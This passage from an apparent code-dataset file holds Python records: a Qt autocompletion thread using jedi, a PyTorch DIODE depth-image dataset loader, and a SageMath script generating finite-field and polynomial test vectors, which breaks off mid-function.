\u5f53\u4e00\u6bb5\u65f6\u95f4\u6ca1\u6709\u8865\u5168\u9700\u6c42\u4e4b\u540e\uff0c\u540e\u53f0\u81ea\u52a8\u8865\u5168\u7ebf\u7a0b\u4f1a\u8fdb\u5165\u4f11\u7720\u6a21\u5f0f\u3002\u4e0b\u4e00\u6b21\u8865\u5168\u8bf7\u6c42\u5219\u4f1a\u5524\u9192\u8be5\u540e\u53f0\u7ebf\u7a0b\u3002\n '''\n trigger = Signal(tuple, list)\n\n def __init__(self):\n super(AutoCompThread, self).__init__()\n self.text = ''\n self.text_cursor_pos = (0, 1)\n self.activated = True\n self.stop_flag = False\n\n def run(self):\n text = ''\n last_complete_time = time.time()\n try:\n import jedi\n except ImportError:\n print('Jedi not installed.install jedi for better auto-completion!')\n return\n while (1):\n if self.stop_flag:\n return\n\n if self.text == text:\n if time.time() - last_complete_time >= 30:\n self.activated = False\n time.sleep(0.02 if self.activated else 0.1)\n continue\n\n try:\n row_text = self.text.splitlines()[self.text_cursor_pos[0] - 1]\n hint = re.split(\n '[.:;,?!\\s \\+ \\- = \\* \\\\ \\/ \\( \\)\\[\\]\\{\\} ]', row_text)[-1]\n content = (\n self.text_cursor_pos[0], self.text_cursor_pos[1], hint\n )\n logger.debug('Text of current row:%s' % content[2])\n script = jedi.Script(self.text)\n l = script.complete(*self.text_cursor_pos)\n\n except:\n import traceback\n traceback.print_exc()\n l = []\n self.trigger.emit(content, l)\n last_complete_time = time.time()\n\n self.activated = True\n text = self.text\n\n def on_exit(self):\n self.stop_flag = True\n self.exit(0)\n if self.isRunning():\n self.quit()\n self.wait(500)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nfrom torchvision import transforms\nfrom torchvision.io import read_image, ImageReadMode\nfrom torch.utils.data import Dataset, DataLoader\n\nimport cv2\nimport os\nimport time\nfrom copy import deepcopy\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\n\nfrom .data_utils import *\n\n\nclass DIODE(Dataset):\n rgb_preprocess = transforms.Compose([\n transforms.ToTensor(),\n transforms.Resize( (320, 320) ), \n transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),\n ])\n label_preprocess = transforms.Compose([transforms.ToTensor(),\n transforms.Resize( (320, 320) )])\n\n def __init__(self, data_paths, transform=None, target_transform=None, \n device=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\"), original=False):\n self.data_paths = data_paths\n \n self.data_pair_paths = []\n for data_path in data_paths:\n data_names = sorted(os.listdir(data_path))\n for data_name in data_names:\n if data_name.endswith('.png'):\n prefix = data_name.rstrip('.png')\n img_path = os.path.join(data_path, data_name)\n label_path = os.path.join(data_path, prefix+\"_depth.npy\") \n mask_path = os.path.join(data_path, prefix+\"_depth_mask.npy\") \n self.data_pair_paths.append((img_path, label_path, mask_path))\n \n self.transform = transform if transform != None else self.rgb_preprocess\n self.target_transform = target_transform if target_transform != None else self.label_preprocess \n \n self.device = device\n self.original = original\n\n def __len__(self):\n return len(self.data_pair_paths)\n\n def __getitem__(self, idx):\n img_path, label_path, mask_path = self.data_pair_paths[idx]\n \n img = Image.open(img_path)\n img = img.convert(\"RGB\") \n label = np.load(label_path).squeeze()\n \n img = self.transform(img)\n label = self.target_transform(label)\n\n img = img.to(self.device) \n label = label.to(self.device) \n\n mask = np.load(mask_path)\n\n if self.original:\n original_img = cv2.imread(img_path) \n original_label = np.load(label_path).squeeze()\n else:\n original_img = torch.empty(1)\n original_label = torch.empty(1) \n \n data = {}\n data['rgb'] = img\n data['label'] = label\n data['original_rgb'] = original_img\n data['original_label'] = original_label\n data['rgb_path'] = img_path\n data['label_path'] = label_path\n data['mask'] = mask\n \n return data\n \n def example(self, idx=10):\n data = self.__getitem__(idx)\n image = data['rgb']\n label = data['label']\n original_image = data['original_rgb']\n original_label = data['original_label']\n \n image = image.permute(1, 2, 0).to(\"cpu\").to(torch.uint8)\n label = label.squeeze().to(torch.uint8).cpu().numpy()\n \n plt.figure()\n plt.imshow(image)\n\n plot_depth_map(label, np.ones_like(label), '.')\n\n plt.figure()\n plt.imshow(original_image) \n\n plot_depth_map(original_label, np.ones_like(original_label), '.')\n", "source": "kshama2705/EECS442-final-project", "license": "MIT"} {"text": "\"\"\"\nScript to generate unit test vectors for finite field arithmetic.\n\nInstall SageMath:\n* `sudo apt install sagemath`\n\"\"\"\nimport json\nimport os\nimport pickle\nimport random\nimport shutil\n\nimport sage\nimport numpy as np\nfrom sage.all import GF, PolynomialRing, copy, log, matrix, vector, xgcd, lcm, prod, crt\n\nFIELD = None\nRING = None\nSPARSE_SIZE = 20\nPATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"..\", \"tests\")\n\n\ndef set_seed(seed):\n \"\"\"Update the RNG seeds so the LUT is reproducible\"\"\"\n np.random.seed(seed)\n random.seed(seed)\n\n\ndef I(element):\n \"\"\"Convert from various finite field elements to an integer\"\"\"\n if isinstance(element, sage.rings.finite_rings.element_pari_ffelt.FiniteFieldElement_pari_ffelt):\n coeffs = element._vector_()\n characteristic = int(FIELD.characteristic())\n return sum(int(c)*characteristic**i for i, c in enumerate(coeffs))\n try:\n return int(element)\n except TypeError:\n return element.integer_representation()\n\n\ndef F(integer):\n \"\"\"Convert from an integer to various finite field elements\"\"\"\n if isinstance(FIELD, sage.rings.finite_rings.finite_field_pari_ffelt.FiniteField_pari_ffelt):\n l = []\n characteristic = int(FIELD.characteristic())\n degree = int(FIELD.degree())\n for d in range(degree - 1, -1, -1):\n q = integer // characteristic**d\n l += [f\"{q}*x^{d}\"]\n integer -= q*characteristic**d\n return FIELD(\" + \".join(l))\n try:\n return FIELD.fetch_int(int(integer))\n except:\n return FIELD(integer)\n\n\ndef arange(low, high, sparse=False):\n if sparse:\n if high <= np.iinfo(np.int64).max:\n X = np.random.randint(low, high, SPARSE_SIZE, dtype=np.int64)\n else:\n X = np.empty(SPARSE_SIZE, dtype=object)\n iterator = np.nditer(X, flags=[\"multi_index\", \"refs_ok\"])\n for i in iterator:\n X[iterator.multi_index] = random.randint(low, high - 1)\n else:\n X = np.arange(low, high, dtype=np.int64)\n\n if sparse:\n # Set a random element to the max (needed for testing for overflows)\n idx = random.randint(0, X.size - 2)\n X[idx] = high - 1\n\n return X\n\n\ndef randint_matrix(low, high, shape):\n if high <= np.iinfo(np.int64).max:\n X = np.random.randint(low, high, shape, dtype=np.int64)\n else:\n X = np.empty(shape, dtype=object)\n iterator = np.nditer(X, flags=[\"multi_index\", \"refs_ok\"])\n for i in iterator:\n X[iterator.multi_index] = random.randint(low, high - 1)\n\n return X\n\n\ndef io_1d(low, high, sparse=False):\n X = arange(low, high, sparse=sparse)\n\n if high <= np.iinfo(np.int64).max:\n Z = np.zeros(X.shape, dtype=np.int64)\n else:\n Z = np.array(np.zeros(X.shape), dtype=object)\n\n return X, Z\n\n\ndef io_2d(x_low, x_high, y_low, y_high, sparse=False):\n X = arange(x_low, x_high, sparse=sparse)\n Y = arange(y_low, y_high, sparse=sparse)\n\n if sparse:\n # Set both random elements to the max (needed for testing for overflows)\n X[-1] = x_high - 1\n Y[-1] = y_high - 1\n\n XX, YY = np.meshgrid(X, Y, indexing=\"ij\")\n\n if x_high <= np.iinfo(np.int64).max and y_high <= np.iinfo(np.int64).max:\n ZZ = np.zeros(XX.shape, dtype=np.int64)\n else:\n ZZ = np.array(np.zeros(XX.shape), dtype=object)\n\n return X, Y, XX, YY, ZZ\n\n\ndef random_coeffs(low, high, size_low, size_high):\n size = random.randint(size_low, size_high - 1)\n coeffs = [random.randint(low, high - 1) for _ in range(size)]\n if low == 0:\n # Ensure the leading coefficient is non-zero\n coeffs[0] = random.randint(low + 1, high - 1)\n return coeffs\n\n\ndef list_to_poly(coeffs):\n \"\"\"\n Converts a Python coefficient list (degree-descending order) into a Sage polynomial object.\n \"\"\"\n return RING([F(e) for e in coeffs[::-1]])\n\n\ndef poly_to_list(poly):\n \"\"\"\n Converts a Sage polynomial object into a Python list (degree-descending order).\n \"\"\"\n if FIELD.order() <= np.iinfo(np.int64).max:\n dtype = np.int64\n else:\n dtype = np.object_\n z = np.array([I(e) for e in poly.list()[::-1]], dtype=dtype).tolist()\n z = z if z != [] else [0]\n return z\n\n\ndef save_pickle(d, folder, name):\n print(f\" Saving {name}...\")\n with open(os.path.join(folder, name), \"wb\") as f:\n pickle.dump(d, f)\n\n\ndef save_json(d, folder, name, indent=False):\n indent = 4 if indent else None\n with open(os.path.join(folder, name), \"w\") as f:\n json.dump(d, f, indent=indent)\n\n\ndef make_luts(field, sub_folder, seed, sparse=False):\n global FIELD, RING\n print(f\"Making LUTs for {field}\")\n\n ###############################################################################\n # Finite field arithmetic\n ###############################################################################\n folder = os.path.join(PATH, \"fields\", \"data\", sub_folder)\n if os.path.exists(folder):\n shutil.rmtree(folder)\n os.mkdir(folder)\n\n FIELD = field\n RING = PolynomialRing(field, names=\"x\")\n characteristic = int(field.characteristic())\n order = int(field.order())\n dtype = np.int64 if order <= np.iinfo(np.int64).max else object\n alpha = field.primitive_element()\n # assert field.gen() == field.multiplicative_generator()\n\n d = {\n \"characteristic\": int(field.characteristic()),\n \"degree\": int(field.degree()),\n \"order\": int(field.order()),\n \"primitive_element\": I(field.primitive_element()),\n \"irreducible_poly\": [int(c) for c in field.modulus().list()[::-1]]\n }\n save_json(d, folder, \"properties.json\", indent=True)\n\n set_seed(seed + 1)\n X, Y, XX, YY, ZZ = io_2d(0, order, 0, order, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) + F(YY[i,j]))\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"add.pkl\")\n\n set_seed(seed + 2)\n X, Y, XX, YY, ZZ = io_2d(0, order, 0, order, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) - F(YY[i,j]))\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"subtract.pkl\")\n\n set_seed(seed + 3)\n X, Y, XX, YY, ZZ = io_2d(0, order, 0, order, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) * F(YY[i,j]))\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"multiply.pkl\")\n\n set_seed(seed + 4)\n X, Y, XX, YY, ZZ = io_2d(0, order, -order-2, order+3, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) * YY[i,j])\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"scalar_multiply.pkl\")\n\n set_seed(seed + 5)\n X, Y, XX, YY, ZZ = io_2d(0, order, 1, order, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) / F(YY[i,j]))\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"divide.pkl\")\n\n set_seed(seed + 6)\n X, Z = io_1d(0, order, sparse=sparse)\n for i in range(X.shape[0]):\n Z[i] = I(-F(X[i]))\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"additive_inverse.pkl\")\n\n set_seed(seed + 7)\n X, Z = io_1d(1, order, sparse=sparse)\n for i in range(X.shape[0]):\n Z[i] = I(1 / F(X[i]))\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"multiplicative_inverse.pkl\")\n\n set_seed(seed + 8)\n X, Y, XX, YY, ZZ = io_2d(1, order, -order-2, order+3, sparse=sparse)\n for i in range(ZZ.shape[0]):\n for j in range(ZZ.shape[1]):\n ZZ[i,j] = I(F(XX[i,j]) ** YY[i,j])\n d = {\"X\": X, \"Y\": Y, \"Z\": ZZ}\n save_pickle(d, folder, \"power.pkl\")\n\n set_seed(seed + 9)\n X, Z = io_1d(1, order, sparse=sparse)\n for i in range(Z.shape[0]):\n try:\n Z[i] = I(field.fetch_int(X[i]).log(alpha))\n except:\n Z[i] = I(log(F(X[i]), alpha))\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"log.pkl\")\n\n set_seed(seed + 10)\n X, Z = io_1d(0, order, sparse=sparse)\n for i in range(X.shape[0]):\n Z[i] = int(F(X[i]).additive_order())\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"additive_order.pkl\")\n\n set_seed(seed + 11)\n X, Z = io_1d(1, order, sparse=sparse)\n for i in range(X.shape[0]):\n Z[i] = int(F(X[i]).multiplicative_order())\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"multiplicative_order.pkl\")\n\n set_seed(seed + 12)\n X, _ = io_1d(0, order, sparse=sparse)\n Z = []\n for i in range(len(X)):\n x = F(X[i])\n p = x.charpoly()\n z = poly_to_list(p)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"characteristic_poly_element.pkl\")\n\n set_seed(seed + 13)\n shapes = [(2,2), (3,3), (4,4), (5,5), (6,6)]\n X = []\n Z = []\n for i in range(len(shapes)):\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n p = x.charpoly()\n z = poly_to_list(p)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"characteristic_poly_matrix.pkl\")\n\n set_seed(seed + 14)\n X, _ = io_1d(0, order, sparse=sparse)\n Z = []\n for i in range(len(X)):\n x = F(X[i])\n p = x.minpoly()\n z = poly_to_list(p)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"minimal_poly_element.pkl\")\n\n # set_seed(seed + 15)\n # shapes = [(2,2), (3,3), (4,4), (5,5), (6,6)]\n # X = []\n # Z = []\n # for i in range(len(shapes)):\n # x = randint_matrix(0, order, shapes[i])\n # X.append(x)\n # x = matrix(FIELD, [[F(e) for e in row] for row in x])\n # p = x.minpoly()\n # z = np.array([I(e) for e in p.list()[::-1]], dtype=dtype).tolist()\n # z = z if z != [] else [0]\n # Z.append(z)\n # d = {\"X\": X, \"Z\": Z}\n # save_pickle(d, folder, \"minimal_poly_matrix.pkl\")\n\n set_seed(seed + 16)\n X, Z = io_1d(0, order, sparse=sparse)\n for i in range(X.shape[0]):\n z = F(X[i]).trace()\n Z[i] = int(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"field_trace.pkl\")\n\n set_seed(seed + 17)\n X, Z = io_1d(0, order, sparse=sparse)\n for i in range(X.shape[0]):\n z = F(X[i]).norm()\n Z[i] = int(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"field_norm.pkl\")\n\n ###############################################################################\n # Linear algebra\n ###############################################################################\n\n set_seed(seed + 201)\n X_shapes = [(2,2), (2,3), (3,2), (3,3), (3,4)]\n Y_shapes = [(2,2), (3,3), (2,4), (3,3), (4,5)]\n X = []\n Y = []\n Z = []\n for i in range(len(shapes)):\n x = randint_matrix(0, order, X_shapes[i])\n y = randint_matrix(0, order, Y_shapes[i])\n X.append(x)\n Y.append(y)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n y = matrix(FIELD, [[F(e) for e in row] for row in y])\n z = x * y\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"matrix_multiply.pkl\")\n\n set_seed(seed + 202)\n shapes = [(2,2), (2,3), (3,2), (3,3), (3,4)]\n X = []\n Z = []\n for i in range(len(shapes)):\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = x.rref()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"row_reduce.pkl\")\n\n set_seed(seed + 203)\n shapes = [(2,2), (2,3), (3,2), (3,3), (3,4), (4,3), (4,4), (4,5), (5,4), (5,5), (5,6), (6,5), (6,6)]\n X = []\n L = []\n U = []\n for i in range(len(shapes)):\n while True:\n # Ensure X has a PLU decomposition with P = I, which means it has an LU decomposition\n x = randint_matrix(0, order, shapes[i])\n x_orig = x.copy()\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n p, l, u = x.LU()\n if p == matrix.identity(FIELD, shapes[i][0]):\n break\n X.append(x_orig)\n l = np.array([[I(e) for e in row] for row in l], dtype)\n u = np.array([[I(e) for e in row] for row in u], dtype)\n L.append(l)\n U.append(u)\n d = {\"X\": X, \"L\": L, \"U\": U}\n save_pickle(d, folder, \"lu_decompose.pkl\")\n\n set_seed(seed + 204)\n shapes = [(2,2), (2,3), (3,2), (3,3), (3,4), (4,3), (4,4), (4,5), (5,4), (5,5), (5,6), (6,5), (6,6)]\n X = []\n L = []\n U = []\n P = []\n for i in range(len(shapes)):\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n p, l, u = x.LU()\n p = np.array([[I(e) for e in row] for row in p], dtype)\n l = np.array([[I(e) for e in row] for row in l], dtype)\n u = np.array([[I(e) for e in row] for row in u], dtype)\n P.append(p)\n L.append(l)\n U.append(u)\n d = {\"X\": X, \"P\": P, \"L\": L, \"U\": U}\n save_pickle(d, folder, \"plu_decompose.pkl\")\n\n set_seed(seed + 205)\n shapes = [(2,2), (3,3), (4,4), (5,5), (6,6)]\n X = []\n Z = []\n for i in range(len(shapes)):\n while True:\n x = randint_matrix(0, order, shapes[i])\n x_orig = x.copy()\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n if x.rank() == shapes[i][0]:\n break\n X.append(x_orig)\n z = x.inverse()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"matrix_inverse.pkl\")\n\n set_seed(seed + 206)\n shapes = [(2,2), (2,2), (2,2), (3,3), (3,3), (3,3), (4,4), (4,4), (4,4), (5,5), (5,5), (5,5), (6,6), (6,6), (6,6)]\n X = []\n Z = []\n for i in range(len(shapes)):\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = I(x.determinant())\n Z.append(z)\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"matrix_determinant.pkl\")\n\n set_seed(seed + 207)\n shapes = [(2,2), (2,2), (2,2), (3,3), (3,3), (3,3), (4,4), (4,4), (4,4), (5,5), (5,5), (5,5), (6,6), (6,6), (6,6)]\n X = []\n Y = []\n Z = []\n for i in range(len(shapes)):\n while True:\n x = randint_matrix(0, order, shapes[i])\n x_orig = x.copy()\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n if x.rank() == shapes[i][0]:\n break\n X.append(x_orig)\n y = randint_matrix(0, order, shapes[i][1]) # 1-D vector\n Y.append(y)\n y = vector(FIELD, [F(e) for e in y])\n z = x.solve_right(y)\n z = np.array([I(e) for e in z], dtype)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"matrix_solve.pkl\")\n\n set_seed(seed + 208)\n shapes = [(2,2), (2,3), (2,4), (3,2), (4,2), (3,3)]\n X = []\n Z = []\n for i in range(len(shapes)):\n deg = shapes[i][1] # The degree of the vector space\n\n # Random matrix\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = x.row_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n\n # Reduce the row space by 1 by copying the 0th row to the jth row\n for j in range(1, shapes[i][0]):\n x = copy(x)\n x[j,:] = F(random.randint(0, order-1)) * x[0,:]\n\n z = x.row_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n # Zero matrix\n x = copy(x)\n x[:] = F(0)\n z = x.row_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"row_space.pkl\")\n\n set_seed(seed + 209)\n shapes = [(2,2), (2,3), (2,4), (3,2), (4,2), (3,3)]\n X = []\n Z = []\n for i in range(len(shapes)):\n deg = shapes[i][0] # The degree of the vector space\n\n # Random matrix\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = x.column_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n\n # Reduce the column space by 1 by copying the 0th column to the jth column\n for j in range(1, shapes[i][1]):\n x = copy(x)\n x[:,j] = F(random.randint(0, order-1)) * x[:,0]\n\n z = x.column_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n # Zero matrix\n x = copy(x)\n x[:] = F(0)\n z = x.column_space()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"column_space.pkl\")\n\n set_seed(seed + 210)\n shapes = [(2,2), (2,3), (2,4), (3,2), (4,2), (3,3)]\n X = []\n Z = []\n for i in range(len(shapes)):\n deg = shapes[i][0] # The degree of the vector space\n\n # Random matrix\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = x.left_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n\n # Reduce the left null space by 1 by copying the 0th row to the jth row\n for j in range(1, shapes[i][0]):\n x = copy(x)\n x[j,:] = F(random.randint(0, order-1)) * x[0,:]\n\n z = x.left_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n # Zero matrix\n x = copy(x)\n x[:] = F(0)\n z = x.left_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"left_null_space.pkl\")\n\n set_seed(seed + 211)\n shapes = [(2,2), (2,3), (2,4), (3,2), (4,2), (3,3)]\n X = []\n Z = []\n for i in range(len(shapes)):\n deg = shapes[i][1] # The degree of the vector space\n\n # Random matrix\n x = randint_matrix(0, order, shapes[i])\n X.append(x)\n x = matrix(FIELD, [[F(e) for e in row] for row in x])\n z = x.right_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n\n # Reduce the null space by 1 by copying the 0th column to the jth column\n for j in range(1, shapes[i][1]):\n x = copy(x)\n x[:,j] = F(random.randint(0, order-1)) * x[:,0]\n\n z = x.right_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n # Zero matrix\n x = copy(x)\n x[:] = F(0)\n z = x.right_kernel()\n if z.dimension() == 0:\n z = randint_matrix(0, 1, (0, deg))\n else:\n z = z.basis_matrix()\n z = np.array([[I(e) for e in row] for row in z], dtype)\n X.append(np.array([[I(e) for e in row] for row in x], dtype))\n Z.append(z)\n\n d = {\"X\": X, \"Z\": Z}\n save_pickle(d, folder, \"null_space.pkl\")\n\n ###############################################################################\n # Polynomial arithmetic\n ###############################################################################\n folder = os.path.join(PATH, \"polys\", \"data\", sub_folder)\n if os.path.exists(folder):\n shutil.rmtree(folder)\n os.mkdir(folder)\n\n MIN_COEFFS = 1\n MAX_COEFFS = 12\n\n set_seed(seed + 101)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = list_to_poly(Y[i])\n z = x + y\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"add.pkl\")\n\n set_seed(seed + 102)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = list_to_poly(Y[i])\n z = x - y\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"subtract.pkl\")\n\n set_seed(seed + 103)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = list_to_poly(Y[i])\n z = x * y\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"multiply.pkl\")\n\n set_seed(seed + 104)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random.randint(1, 2*characteristic) for i in range(20)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = Y[i]\n z = x * y\n z = poly_to_list(z)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"scalar_multiply.pkl\")\n\n set_seed(seed + 105)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n # Add some specific polynomial types\n X.append([0]), Y.append(random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS)) # 0 / y\n X.append(random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS//2)), Y.append(random_coeffs(0, order, MAX_COEFFS//2, MAX_COEFFS)) # x / y with x.degree < y.degree\n X.append(random_coeffs(0, order, 2, MAX_COEFFS)), Y.append(random_coeffs(0, order, 1, 2)) # x / y with y.degree = 0\n Q = []\n R = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = list_to_poly(Y[i])\n q = x // y\n r = x % y\n q = poly_to_list(q)\n Q.append(q)\n r = poly_to_list(r)\n R.append(r)\n d = {\"X\": X, \"Y\": Y, \"Q\": Q, \"R\": R}\n save_pickle(d, folder, \"divmod.pkl\")\n\n set_seed(seed + 106)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(4)]\n X.append(random_coeffs(0, order, 1, 2))\n Y = [0, 1, 2, 3]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n ZZ = []\n for j in range(len(Y)):\n y = Y[j]\n z = x ** y\n z = poly_to_list(z)\n ZZ.append(z)\n Z.append(ZZ)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"power.pkl\")\n\n set_seed(seed + 107)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = arange(0, order, sparse=sparse)\n Z = np.array(np.zeros((len(X),len(Y))), dtype=dtype)\n for i in range(len(X)):\n for j in range(len(Y)):\n x = list_to_poly(X[i])\n y = F(Y[j])\n z = x(y)\n Z[i,j] = I(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"evaluate.pkl\")\n\n set_seed(seed + 108)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Y = [randint_matrix(0, order, (2,2)) for i in range(20)]\n Z = []\n for i in range(len(X)):\n x = list_to_poly(X[i])\n y = matrix(FIELD, [[F(e) for e in row] for row in Y[i]])\n z = x(y)\n z = np.array([[I(e) for e in row] for row in z], dtype)\n Z.append(z)\n d = {\"X\": X, \"Y\": Y, \"Z\": Z}\n save_pickle(d, folder, \"evaluate_matrix.pkl\")\n\n ###############################################################################\n # Polynomial arithmetic methods\n ###############################################################################\n\n set_seed(seed + 301)\n X = [random_coeffs(0, order, MIN_COEFFS, MAX_COEFFS) for i in range(20)]\n Z = []\n 